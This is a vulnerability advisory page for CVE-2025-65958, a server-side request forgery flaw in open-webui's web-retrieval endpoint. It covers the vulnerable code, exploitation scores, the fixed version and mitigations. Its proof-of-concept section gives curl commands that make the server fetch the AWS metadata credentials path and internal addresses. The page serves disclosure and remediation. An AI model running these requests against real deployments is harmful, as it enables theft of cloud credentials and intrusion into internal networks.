# CVE-2025-65958: open-webui SSRF — Fixed in 0.6.37

🐍

🐍 PyPI

Not in CISA KEV

HIGH severity

# CVE-2025-65958 — open-webui

HIGH [Fix: open-webui/open-webui@02238d3](https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774)

CVE-2025-65958 is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web

Also known as[GHSA-c6xv-rcvw-v685](/vulnerability/GHSA-c6xv-rcvw-v685)PYSEC-2026-1726

Published

Dec 4, 2025

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-65958.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

4.7%probability of exploitation in next 30 days

Lower Risk+0.28%

Lower risk than most CVEs92th percentile — riskier than 92% of all scored CVEsHighest risk

0.00%2.04%4.07%6.11%0.0%4.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐍`open-webui`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

#### Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open\_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def process\_web( request: Request, form\_data: ProcessUrlForm, user=Depends(get\_verified\_user) ): try: collection\_name = form\_data.collection\_name if not collection\_name: collection\_name = calculate\_sha256\_string(form\_data.url)\[:63\]

```
      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability
```

The form\_data.url parameter is passed directly to get\_content\_from\_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain:

1.  retrieval.py:1767 → get\_content\_from\_url(request, form\_data.url)
2.  retrieval/utils.py:77 → get\_loader(request, url)
3.  retrieval/utils.py:62 → get\_web\_loader(url, ...) or YoutubeLoader(url, ...)
4.  Both loaders fetch the user-supplied URL without validation

No validation is performed for:

-   Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
-   Localhost addresses (127.0.0.0/8)
-   Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
-   Protocol restrictions (file://, gopher://, etc.)
-   Domain allowlisting

#### PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "[http://localhost:3000/api/v1/auths/signin](http://localhost:3000/api/v1/auths/signin)"  
\-H 'Content-Type: application/json'  
\-d '{"email":"[user@example.com](mailto:user@example.com)","password":"password"}'  
| python3 -c "import sys,json; print(json.load(sys.stdin)\['token'\])")

Step 2 - Basic SSRF Test (external URL): curl -s "[http://localhost:3000/api/v1/retrieval/process/web](http://localhost:3000/api/v1/retrieval/process/web)"  
\-H "Authorization: Bearer $TOKEN"  
\-H 'Content-Type: application/json'  
\-d '{"url":"[http://example.com"}](http://example.com%22%7D)'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "[http://localhost:3000/api/v1/retrieval/process/web](http://localhost:3000/api/v1/retrieval/process/web)"  
\-H "Authorization: Bearer $TOKEN"  
\-H 'Content-Type: application/json'  
\-d '{"url":"[http://169.254.169.254/latest/meta-data/iam/security-credentials/"}](http://169.254.169.254/latest/meta-data/iam/security-credentials/%22%7D)'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples:

-   Internal network: {"url":"[http://192.168.1.1"}](http://192.168.1.1%22%7D)
-   Localhost services: {"url":"[http://localhost:5432"}](http://localhost:5432%22%7D)
-   Internal APIs: {"url":"[http://internal-api.local"}](http://internal-api.local%22%7D)

#### Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

1.  Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover
2.  Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility
3.  Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐍PyPI

`open-webui` 

all versions

0.6.37`pip install --upgrade 'open-webui==0.6.37'`

## Affected Products

1 product · 1 configurations

Application

`open webui`openwebui

< 0.6.37

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update open-webui to 0.6.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-65958 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
    

## Frequently Asked Questions

\### Summary A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required. ### Details The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open\_webui/routers/retrieval.py at lines 1758-1767. Vulnerable code: @router.po

O3 Security · Impact-Aware SCA

### Is CVE-2025-65958 in your dependencies?

Find it across PyPI, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)